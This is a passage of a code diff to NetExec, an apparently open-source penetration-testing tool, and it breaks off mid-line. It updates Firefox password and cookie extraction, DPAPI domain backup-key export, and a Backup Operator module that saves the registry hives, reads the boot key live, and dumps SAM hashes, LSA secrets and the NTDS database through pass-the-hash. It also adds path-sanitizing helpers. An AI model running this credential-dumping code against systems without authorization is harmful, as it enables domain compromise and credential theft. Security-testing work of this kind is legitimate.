password=self.connection.password, + address=self.connection.kdcHost, # querying DNS server for domain will return DC + lmhash=self.connection.lmhash, + nthash=self.connection.nthash, + do_kerberos=self.connection.kerberos, + aesKey=self.connection.aesKey, + use_kcache=self.connection.use_kcache, + ) + dc_conn = DPLootSMBConnection(dc_target) + dc_conn.connect() # Connect to DC + if dc_conn.is_admin(): + self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...") + backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) + backupkey = backupkey_triage.triage_backupkey() + pvkbytes = backupkey.backupkey_v2 + self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes) + else: + self.connection.no_da = False + except Exception as e: + self.connection.logger.fail(f"Could not get domain backupkey: {e}") + + self._pvkbytes = pvkbytes + return self._pvkbytes diff --git a/nxc/protocols/smb/firefox.py b/nxc/helpers/firefox.py similarity index 90% rename from nxc/protocols/smb/firefox.py rename to nxc/helpers/firefox.py index d490abb757..3864173929 100644 --- a/nxc/protocols/smb/firefox.py +++ b/nxc/helpers/firefox.py @@ -11,9 +11,8 @@ from typing import Any from Cryptodome.Cipher import AES, DES3 from pyasn1.codec.der import decoder -from dploot.lib.smb import DPLootSMBConnection +from dploot.lib.network import DPLootConnection -from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection CKA_ID = unhexlify("f8000000000000000000000000000001") @@ -61,7 +60,7 @@ class FirefoxTriage: "All Users", ) - def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None): + def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None): self.target = target self.logger = logger self.conn = conn @@ -69,16 +68,13 @@ def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_ self.per_secret_callback = per_secret_callback def run(self, gather_cookies=False): - if self.conn is None: - upgrade_to_dploot_connection(target=self.target) - firefox_data = [] firefox_cookies = [] # list users - users = self.get_users() + users = self.conn.list_users() for user in users: try: - directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user)) + directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user)) except Exception as e: if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): continue @@ -89,18 +85,18 @@ def run(self, gather_cookies=False): try: if gather_cookies: cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite") - cookies_data = self.conn.readFile(self.share, cookies_path) + cookies_data = self.conn.read_file(path=cookies_path, share=self.share) if cookies_data is not None: firefox_cookies += self.parse_cookie_data(user, cookies_data) logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json" - logins_data = self.conn.readFile(self.share, logins_path) + logins_data = self.conn.read_file(path=logins_path, share=self.share) if logins_data is None: continue # No logins.json file found logins = self.get_login_data(logins_data=logins_data) if len(logins) == 0: continue # No logins profile found key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db" - key4_data = self.conn.readFile(self.share, key4_path) + key4_data = self.conn.read_file(path=key4_path, share=self.share) if key4_data is None: continue # Get all available master keys (Firefox 144+ may have multiple keys) @@ -147,7 +143,7 @@ def run(self, gather_cookies=False): def parse_cookie_data(self, windows_user, cookies_data): cookies = [] - fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115 + fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler] fh.write(cookies_data) fh.seek(0) db = sqlite3.connect(fh.name) @@ -192,7 +188,7 @@ def get_all_keys(self, key4_data, master_password=b""): # Instead of disabling "delete" and removing the file manually, # in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution # Related issue: #134 - fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115 + fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler] fh.write(key4_data) fh.seek(0) db = sqlite3.connect(fh.name) @@ -216,7 +212,7 @@ def get_all_keys(self, key4_data, master_password=b""): for row in cursor: try: a11 = row[0] - a102 = row[1] # noqa: F841 + a102 = row[1] # ruff: ignore[unused-variable] decoded_a11 = decoder.decode(a11) key = self.decrypt_3des(decoded_a11, master_password, global_salt) @@ -252,17 +248,6 @@ def is_master_password_correct(self, key_data, master_password=b""): self.logger.debug(e) return "", "", "" - def get_users(self): - users = [] - - users_dir_path = "Users\\*" - directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path)) - - for d in directories: - if d.get_longname() not in self.false_positive and d.is_directory() > 0: - users.append(d.get_longname()) # noqa: PERF401, ignoring for readability - return users - @staticmethod def decode_login_data(data): asn1data = decoder.decode(b64decode(data)) diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index dd9dbe8705..3402ffec16 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -1,9 +1,12 @@ +from contextlib import suppress from enum import Enum +import hashlib import random import string import re import inspect import os +from unicodedata import normalize from termcolor import colored from ipaddress import ip_address from nxc.logger import nxc_logger @@ -26,6 +29,91 @@ def gen_random_string(length=10): return "".join(random.sample(string.ascii_letters, int(length))) +def sanitize_dns(hostname, logger=nxc_logger): + """Return an untrusted hostname or domain as a safe, nonempty string.""" + # Always provide a safe fallback, even for missing or unstringable input. + if hostname is None: + return "_" + + try: + hostname = hostname.decode("utf-8", errors="surrogateescape") if isinstance(hostname, bytes) else str(hostname) + except Exception: + return "_" + if not hostname: + return "_" + + # Replace path, configuration, formatting, whitespace, and control characters. + unsafe_characters = '<>:"/\\|?*{}[]=#;\'' # Portable paths, format strings, hosts files, and krb5.conf + sanitized = "".join( + character if character.isprintable() + and not character.isspace() + and character not in unsafe_characters + and all( + normalized_character.isprintable() + and not normalized_character.isspace() + and normalized_character not in unsafe_characters + for normalized_character in normalize("NFKC", character) + ) + else "_" + for character in hostname + ) + + # Neutralize traversal segments and Windows-trimmed trailing dots. + if normalize("NFKC", sanitized) in (".", ".."): + sanitized = "_" * len(sanitized) + if sanitized.endswith(".") or normalize("NFKC", sanitized[-1]).endswith("."): + sanitized = f"{sanitized[:-1]}_" + + # Bound filename length while retaining a stable identifier for long names. + if len(sanitized.encode("utf-8")) > 253: + suffix = f"_{hashlib.sha256(hostname.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}" + byte_length = 0 + truncated = [] + for character in sanitized: + character_length = len(character.encode("utf-8")) + if byte_length + character_length > 253 - len(suffix): + break + truncated.append(character) + byte_length += character_length + sanitized = f"{''.join(truncated)}{suffix}" + + # Fail closed if a future change violates any output invariant. + normalized = normalize("NFKC", sanitized) + if ( + not sanitized + or not normalized + or len(sanitized.encode("utf-8")) > 253 + or normalized in (".", "..") + or normalized.endswith(".") + or any( + not character.isprintable() + or character.isspace() + or character in unsafe_characters + or any( + not normalized_character.isprintable() + or normalized_character.isspace() + or normalized_character in unsafe_characters + for normalized_character in normalize("NFKC", character) + ) + for character in sanitized + ) + ): + sanitized = "_" + + # Report changed input without allowing logging failures to affect safety. + if sanitized != hostname: + received = ascii(hostname[:256]) + result = ascii(sanitized) + if len(hostname) > 256 or len(received) > 256: + received = f"{received[:253]}..." + if len(result) > 256: + result = f"{result[:253]}..." + if logger is not None: + with suppress(Exception): + logger.fail(f"Unsafe hostname or domain received: {received}; using {result}") + return sanitized + + def validate_ntlm(data): allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE) return bool(allowed.match(data)) diff --git a/nxc/helpers/negotiate_parser.py b/nxc/helpers/negotiate_parser.py index 9460efc2fc..f7830ee5c8 100644 --- a/nxc/helpers/negotiate_parser.py +++ b/nxc/helpers/negotiate_parser.py @@ -12,6 +12,7 @@ def parse_challenge(challange): target_info = { "hostname": None, + "dns_hostname": None, "domain": None, "os_version": None } @@ -20,6 +21,9 @@ def parse_challenge(challange): if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None: with contextlib.suppress(Exception): target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le") + if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None: + with contextlib.suppress(Exception): + target_info["dns_hostname"] = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode("utf-16le") if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None: with contextlib.suppress(Exception): target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le") diff --git a/nxc/helpers/path.py b/nxc/helpers/path.py new file mode 100644 index 0000000000..ea6e70f828 --- /dev/null +++ b/nxc/helpers/path.py @@ -0,0 +1,107 @@ +import hashlib +from pathlib import PurePosixPath +import re +from unicodedata import normalize + + +def sanitize_path_component(name, max_bytes=255): + """Return one portable, bounded path component from untrusted input.""" + # Reserve enough space for one character and the collision-resistant suffix. + if max_bytes < 14: + raise ValueError("max_bytes must be at least 14") + + # Always provide a safe fallback, even for missing or unstringable input. + try: + name = name.decode("utf-8", errors="surrogateescape") if isinstance(name, bytes) else str(name) if name is not None else "" + except Exception: + name = "" + if not name: + return "_" + + # Replace path, control, and Unicode-equivalent metacharacters. + unsafe_characters = '<>:"/\\|?*' # Portable filename metacharacters + sanitized = "".join( + character if character.isprintable() + and character not in unsafe_characters + and all( + normalized_character.isprintable() and normalized_character not in unsafe_characters + for normalized_character in normalize("NFKC", character) + ) + else "_" + for character in name + ) + + # Neutralize traversal-only names and Windows-trimmed trailing dots or spaces. + if normalize("NFKC", sanitized) in (".", ".."): + sanitized = "_" * len(sanitized) + while sanitized and ( + sanitized[-1] == "." + or sanitized[-1].isspace() + or normalize("NFKC", sanitized[-1]).endswith(".") + or any(character.isspace() for character in normalize("NFKC", sanitized[-1])) + ): + sanitized = f"{sanitized[:-1]}_" + + # Avoid Windows device names, including names followed by an extension. + normalized_stem = normalize("NFKC", sanitized).split(".", 1)[0].rstrip(" ").upper() + if normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem): + sanitized = f"_{sanitized}" + + # Bound the byte length with a stable digest while preserving short extensions. + if len(sanitized.encode("utf-8")) > max_bytes: + digest = f"_{hashlib.sha256(name.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}" + extension = "" + extension_index = sanitized.rfind(".") + if ( + extension_index > 0 + and len(sanitized[extension_index:].encode("utf-8")) <= 32 + and len(sanitized[extension_index:].encode("utf-8")) <= max_bytes - len(digest) + ): + extension = sanitized[extension_index:] + sanitized = sanitized[:extension_index] + byte_length = 0 + truncated = [] + for character in sanitized: + character_length = len(character.encode("utf-8")) + if byte_length + character_length > max_bytes - len(digest) - len(extension.encode("utf-8")): + break + truncated.append(character) + byte_length += character_length + sanitized = f"{''.join(truncated)}{digest}{extension}" + + # Fail closed if a future change violates any output invariant. + normalized = normalize("NFKC", sanitized) + normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper() + if ( + not sanitized + or not normalized + or len(sanitized.encode("utf-8")) > max_bytes + or normalized in (".", "..") + or normalized.endswith(".") + or normalized[-1].isspace() + or normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} + or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem) + or any( + not character.isprintable() + or character in unsafe_characters + or any( + not normalized_character.isprintable() or normalized_character in unsafe_characters + for normalized_character in normalize("NFKC", character) + ) + for character in sanitized + ) + ): + return "_" + return sanitized + + +def sanitize_filename(name: str) -> str: + """Strip path traversal components from an SMB filename. + + Follows the pattern from spider_plus.py — filters '..' and '.' from + PurePosixPath.parts to prevent directory traversal attacks from + malicious SMB servers. + """ + parts = PurePosixPath(name.replace("\\", "/")).parts + clean = [p for p in parts if p not in ("..", ".", "/")] + return str(PurePosixPath(*clean)) if clean else "" diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index 014fa652a3..a0a2c323a4 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -35,15 +35,18 @@ from binascii import unhexlify, hexlify -from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private -from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key +from cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.asymmetric import padding, rsa +from cryptography.hazmat.primitives.serialization import pkcs12 +from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate from asn1crypto import cms from asn1crypto import algos from asn1crypto import core from asn1crypto import keys +from asn1crypto import x509 -from minikerberos.pkinit import PKINIT, DirtyDH +from minikerberos.protocol.dirtydh import DirtyDH from minikerberos.protocol.constants import NAME_TYPE, PaDataType from minikerberos.protocol.encryption import Enctype, _enctype_table, Key from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST @@ -68,15 +71,48 @@ from impacket.krb5.ccache import CCache as impacket_CCache from nxc.paths import NXC_PATH +from nxc.helpers.path import sanitize_path_component from nxc.logger import nxc_logger -class myPKINIT(PKINIT): +def _load_asn1_certificate(data): + """Load a certificate as an asn1crypto object, accepting both PEM and DER input + + The certificate is parsed by cryptography and re-encoded, so that malformed input is + rejected here instead of failing later inside asn1crypto, which parses lazily + """ + cert = load_pem_x509_certificate(data) if b"-----BEGIN" in data else load_der_x509_certificate(data) + return _to_asn1_certificate(cert) + + +def _to_asn1_certificate(cert): + """Convert a cryptography certificate to the asn1crypto object the CMS structures need""" + return x509.Certificate.load(cert.public_bytes(serialization.Encoding.DER)) + + +def _check_rsa_privkey(privkey): + """PKINIT signing here is RSA PKCS#1 v1.5 only, so reject anything else early""" + if not isinstance(privkey, rsa.RSAPrivateKey): + raise Exception(f"PKINIT requires an RSA private key, got {type(privkey).__name__}") + return privkey + + +class myPKINIT: """ Copy of minikerberos PKINIT With some changes where it differs from PKINIT used in NegoEx + + This does not subclass minikerberos.pkinit.PKINIT on purpose: that module imports oscrypto, + which fails at import time on any OpenSSL whose version has a two digit component """ + def __init__(self): + self.privkey = None + self.certificate = None + self.issuer = None + self.cname = None + self.diffie = None + @staticmethod def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False): with open(pfxfile, "rb") as f: @@ -90,26 +126,17 @@ def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False): @staticmethod def from_pfx_data(pfxdata, pfxpass, dh_params=None): pkinit = myPKINIT() - # oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead - if not pfxpass: - from cryptography.hazmat.primitives.serialization import pkcs12 - from cryptography.hazmat.primitives import serialization - privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None) - pem_key = privkey.private_bytes( - encoding=serialization.Encoding.PEM, - format=serialization.PrivateFormat.TraditionalOpenSSL, - encryption_algorithm=serialization.NoEncryption(), - ) - pkinit.privkey = load_private_key(parse_private(pem_key)) - pem_cert = cert.public_bytes( - encoding=serialization.Encoding.PEM - ) - pkinit.certificate = parse_certificate(pem_cert) - else: - if isinstance(pfxpass, str): - pfxpass = pfxpass.encode() - pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass) - pkinit.privkey = load_private_key(pkinit.privkeyinfo) + if isinstance(pfxpass, str): + pfxpass = pfxpass.encode() + # cryptography requires None (not an empty password) for a pfx without password + privkey, cert, _ = pkcs12.load_key_and_certificates(pfxdata, pfxpass if pfxpass else None) + # a pfx holding only a certificate parses fine, so check the key before the certificate + if privkey is None: + raise Exception("No private key found in the PFX file") + if cert is None: + raise Exception("No certificate found in the PFX file") + pkinit.privkey = _check_rsa_privkey(privkey) + pkinit.certificate = _to_asn1_certificate(cert) pkinit.setup(dh_params=dh_params) return pkinit @@ -117,9 +144,18 @@ def from_pfx_data(pfxdata, pfxpass, dh_params=None): def from_pem(certfile, privkeyfile, dh_params=None): pkinit = myPKINIT() with open(certfile, "rb") as f: - pkinit.certificate = parse_certificate(f.read()) + pkinit.certificate = _load_asn1_certificate(f.read()) with open(privkeyfile, "rb") as f: - pkinit.privkey = load_private_key(parse_private(f.read())) + keydata = f.read() + try: + try: + privkey = serialization.load_pem_private_key(keydata, password=None) + except ValueError: + privkey = serialization.load_der_private_key(keydata, password=None) + except TypeError as e: + # raised by both loaders when the key is encrypted and no password was given + raise Exception(f"Private key {privkeyfile} is password protected, which is not supported. Decrypt it first with: openssl rsa -in {privkeyfile} -out decrypted.pem") from e + pkinit.privkey = _check_rsa_privkey(privkey) pkinit.setup(dh_params=dh_params) return pkinit @@ -152,7 +188,7 @@ def build_asreq(self, domain=None, cname=None, kdcopts=None): else: cname = [self.cname] - now = datetime.datetime.now(datetime.timezone.utc) + now = datetime.datetime.now(datetime.UTC) kdc_req_body_data = {} kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts) @@ -237,7 +273,7 @@ def sign_authpack_native(self, data, wrap_signed=False): cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be. ] si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"}) - si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1") + si["signature"] = self.privkey.sign(cms.CMSAttributes(si["signed_attrs"]).dump(), padding.PKCS1v15(), hashes.SHA1()) ec = {} ec["content_type"] = "1.3.6.1.5.2.3.1" @@ -495,8 +531,8 @@ def pfx_auth(self): return False username = self.args.username[0] - basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache" - log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}")) + basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache") + log_ccache = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename))) # Request a TGT with the cert data req = ini.build_asreq(self.domain, username) diff --git a/nxc/loaders/moduleloader.py b/nxc/loaders/moduleloader.py index 0d04448065..c45e158426 100755 --- a/nxc/loaders/moduleloader.py +++ b/nxc/loaders/moduleloader.py @@ -4,7 +4,7 @@ import sys from os import listdir -from os.path import dirname +from os.path import basename, dirname from os.path import join as path_join from nxc.context import Context @@ -13,6 +13,10 @@ from nxc.paths import NXC_PATH +class ModuleOptionsError(Exception): + """Raised when a module aborts the run from options() (returned False).""" + + class ModuleLoader: def __init__(self, args, db, logger): self.args = args @@ -40,17 +44,40 @@ def module_is_sane(self, module, module_path): elif not hasattr(module, "options"): self.logger.fail(f"{module_path} missing the options function") module_error = True - elif not hasattr(module, "on_login") and not (module, "on_admin_login"): + elif not hasattr(module, "on_login") and not hasattr(module, "on_admin_login"): self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)") module_error = True return not module_error + module_cache = {} + + @classmethod + def load_module_file(cls, module_path): + """Load a module file and return the raw module object with isolated namespace. + + Each module gets a unique name to avoid sys.modules collisions that + caused NXCModule class references to be overwritten when loading + multiple modules. Results are cached so each file is only parsed + and executed once regardless of how many targets are scanned. + """ + if module_path not in cls.module_cache: + module_name = f"nxc_module_{basename(module_path)[:-3]}" + spec = importlib.util.spec_from_file_location(module_name, module_path) + module = importlib.util.module_from_spec(spec) + # Register before executing. Modules that define their own impacket + # NDRCALL requests rely on impacket resolving the matching Response + # class via sys.modules[request.__module__] (rpcrt.py), which the + # previous load_module() satisfied implicitly. + sys.modules[module_name] = module + spec.loader.exec_module(module) + cls.module_cache[module_path] = module + return cls.module_cache[module_path] + def load_module(self, module_path): """Load a module, initializing it and checking that it has the proper attributes""" try: - spec = importlib.util.spec_from_file_location("NXCModule", module_path) - module = spec.loader.load_module().NXCModule() + module = self.load_module_file(module_path).NXCModule() if self.module_is_sane(module, module_path): return module @@ -60,7 +87,6 @@ def load_module(self, module_path): def init_module(self, module_path): """Initialize a module for execution""" - module = None module = self.load_module(module_path) if module: @@ -78,7 +104,8 @@ def init_module(self, module_path): key, value = option.split("=", 1) module_options[str(key).upper()] = value - module.options(context, module_options) + if module.options(context, module_options) is False: + raise ModuleOptionsError(f"Module {module.name} aborted the run from options()") return module else: self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}") @@ -87,8 +114,7 @@ def init_module(self, module_path): def get_module_info(self, module_path): """Get the path, description, and options from a module""" try: - spec = importlib.util.spec_from_file_location("NXCModule", module_path) - module_spec = spec.loader.load_module().NXCModule + module_spec = self.load_module_file(module_path).NXCModule module = { f"{module_spec.name}": { diff --git a/nxc/logger.py b/nxc/logger.py index 468fd667ea..182686d0b9 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -181,7 +181,8 @@ def add_file_log(self, log_file=None): if not os.path.isfile(output_file): try: - open(output_file, "x") # noqa: SIM115 + with open(output_file, "x"): + pass except FileNotFoundError: print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}") exit(1) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 5c27b9e1c1..a016a76f36 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -1,5 +1,6 @@ import contextlib -from time import sleep +import re +from binascii import unhexlify from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError @@ -17,13 +18,67 @@ class NXCModule: def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options - self.domain_admin = None - self.domain_admin_hash = None - self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted + self.local_admin = None + self.local_admin_hash = None + self.machine_account = None + self.machine_account_hash = None + self.cleanup_user = None + self.cleanup_hash = None + self.system_hive_saved = False def options(self, context, module_options): """NO OPTIONS""" + def get_boot_key(self, context, dce): + """ + Reads the boot key LIVE from the four Lsa subkeys' class-name field over RPC, + using the already-connected `dce` this module sets up for the SAM/SECURITY + hive saves. If this succeeds, no SYSTEM hive is ever saved to SYSVOL or + downloaded at all. + + Hand-ported from impacket's RemoteOperations.getBootKey() rather than calling + RemoteOperations directly, because RemoteOperations.enableRegistry() starts the + RemoteRegistry service via the Service Control Manager -- which needs admin-level + rights a plain Backup Operator doesn't have. This module already gets + RemoteRegistry running via trigger_winreg()'s named-pipe trick instead, which + works within Backup Operator's actual privileges (SeBackupPrivilege), so we reuse + that connection here. + + Raises on any failure (access denied, path not allowed remotely, RPC error, etc.) + so the caller can fall back to the full SYSTEM hive save/download path. + """ + boot_key = b"" + ans = rrp.hOpenLocalMachine(dce) + reg_handle = ans["phKey"] + + for key in ["JD", "Skew1", "GBG", "Data"]: + context.log.debug(f"Retrieving class info for Lsa\\{key}") + ans = rrp.hBaseRegOpenKey( + dce, + reg_handle, + f"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}", + dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, + samDesired=rrp.KEY_READ, + ) + key_handle = ans["phkResult"] + ans = rrp.hBaseRegQueryInfoKey(dce, key_handle) + class_out = ans["lpClassOut"] + if isinstance(class_out, str): + class_out = class_out.encode() + boot_key += class_out[:-1] + rrp.hBaseRegCloseKey(dce, key_handle) + + rrp.hBaseRegCloseKey(dce, reg_handle) + + transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7] + boot_key = unhexlify(boot_key) + + final_boot_key = b"" + for i in range(len(boot_key)): + final_boot_key += boot_key[transforms[i]:transforms[i] + 1] + + return final_boot_key + def on_login(self, context, connection): connection.args.share = "SYSVOL" rand_suffix = gen_random_string(8) @@ -33,9 +88,11 @@ def on_login(self, context, connection): connection.trigger_winreg() dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP) + boot_key = None try: - - for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: + # Large hives can take minutes to save before the RPC call returns. + connection.conn.setTimeout(max(connection.args.smb_timeout, 60)) + for hive in ["HKLM\\SAM", "HKLM\\SECURITY"]: hRootKey, subKey = self._strip_root_key(dce, hive) outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}" context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)") @@ -46,72 +103,187 @@ def on_login(self, context, connection): except Exception as e: context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") return + + try: + context.log.display("Attempting to retrieve boot key live from the remote registry...") + boot_key = self.get_boot_key(context, dce) + context.log.highlight("Boot key retrieved live -- skipping SYSTEM hive save/download.") + except Exception as e: + context.log.fail(f"Live boot key retrieval failed ({type(e).__name__}: {e}), falling back to full SYSTEM hive download...") + boot_key = None + + if boot_key is None: + hRootKey, subKey = self._strip_root_key(dce, "HKLM\\SYSTEM") + outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}" + context.log.debug("Dumping HKLM\\SYSTEM, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)") + try: + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ) + rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName) + context.log.highlight(f"Saved HKLM\\SYSTEM to {outputFileName}") + self.system_hive_saved = True + except Exception as e: + context.log.fail(f"Couldn't save HKLM\\SYSTEM: {e} on path {outputFileName}") + return except (Exception, KeyboardInterrupt) as e: context.log.fail(f"Unexpected error: {e}") return finally: + connection.conn.setTimeout(connection.args.smb_timeout) with contextlib.suppress(Exception): dce.disconnect() # copy remote file to local log_path = f"{connection.output_filename}." - for hive in ["SAM", "SECURITY", "SYSTEM"]: + connection.conn.setTimeout(max(connection.args.smb_timeout, 60)) + hives_to_download = ["SAM", "SECURITY"] + if self.system_hive_saved: + hives_to_download.append("SYSTEM") + for hive in hives_to_download: connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive) + connection.conn.setTimeout(connection.args.smb_timeout) # read local file try: def parse_sam(secret): context.log.highlight(secret) - if not self.domain_admin: + if not self.local_admin: first_line = secret.strip().splitlines()[0] fields = first_line.split(":") - self.domain_admin = fields[0] - self.domain_admin_hash = fields[3] + if len(fields) >= 4: + self.local_admin = fields[0] + self.local_admin_hash = fields[3] - local_operations = LocalOperations(log_path + "SYSTEM") - boot_key = local_operations.getBootKey() - sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) + def parse_lsa(secret_type, secret): + context.log.highlight(secret) + if self.machine_account: + return + for line in secret.splitlines(): + match = re.search(r"aad3b435b51404eeaad3b435b51404ee:([0-9a-f]{32})", line, re.IGNORECASE) + if match: + self.machine_account_hash = match.group(1) + account_name = line.split(":", 1)[0].strip().split("\\")[-1] + # "$MACHINE.ACC" has no real name -> derive it from the connection. + self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$" + return + + if boot_key is None: + local_operations = LocalOperations(log_path + "SYSTEM") + boot_key = local_operations.getBootKey() + + sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam) sam_hashes.dump() sam_hashes.finish() - LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=parse_lsa) LSA.dumpCachedHashes() LSA.dumpSecrets() except Exception as e: context.log.fail(f"Fail to dump the sam and lsa: {e!s}") - if self.domain_admin: + dump_creds = None + for username, user_hash in [(self.machine_account, self.machine_account_hash), (self.local_admin, self.local_admin_hash)]: + if self._try_dump_ntds(connection, context, username, user_hash): + dump_creds = (username, user_hash) + break + + if dump_creds: + self.cleanup_user, self.cleanup_hash = self._extract_da_hash(connection.output_filename, context) + if not self.cleanup_user or not self.cleanup_hash: + self.cleanup_user, self.cleanup_hash = dump_creds + + self._perform_cleanup(connection, context, self.cleanup_user, self.cleanup_hash, rand_suffix) + else: + context.log.fail("Failed to obtain suitable credentials for NTDS dump or cleanup.") + self._print_cleanup_warning(context, rand_suffix) + + def _try_dump_ntds(self, connection, context, username, user_hash): + if not username or not user_hash: + return False + with contextlib.suppress(Exception): + connection.conn.logoff() + connection.create_conn_obj() + if connection.hash_login(connection.domain, username, user_hash): + try: + context.log.display(f"Dumping NTDS using {username}...") + connection.ntds() + return True + except Exception as e: + context.log.fail(f"Fail to dump the NTDS with {username}: {e!s}") + return False + + def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix): + if not username or not user_hash: + self._print_cleanup_warning(context, rand_suffix) + return + context.log.display(f"Using {username} to clean up files...") + with contextlib.suppress(Exception): connection.conn.logoff() - connection.create_conn_obj() - if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash): + connection.create_conn_obj() + if connection.hash_login(connection.domain, username, user_hash): + context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}") + hives = ["SAM", "SECURITY"] + if self.system_hive_saved: + hives.append("SYSTEM") + all_deleted = True + for hive in hives: + remote_name = f"{hive}_{rand_suffix}" try: - context.log.display("Dumping NTDS...") - connection.ntds() - except Exception as e: - context.log.fail(f"Fail to dump the NTDS: {e!s}") + connection.conn.deleteFile("SYSVOL", remote_name) + context.log.debug(f"File {remote_name} deleted successfully via SMB.") + except SessionError as e: + if "STATUS_NO_SUCH_FILE" in str(e): + context.log.debug(f"File {remote_name} already removed or not found.") + continue + if "STATUS_ACCESS_DENIED" in str(e): + context.log.debug(f"SMB deleteFile for {remote_name} got access denied. Attempting deletion via cmd 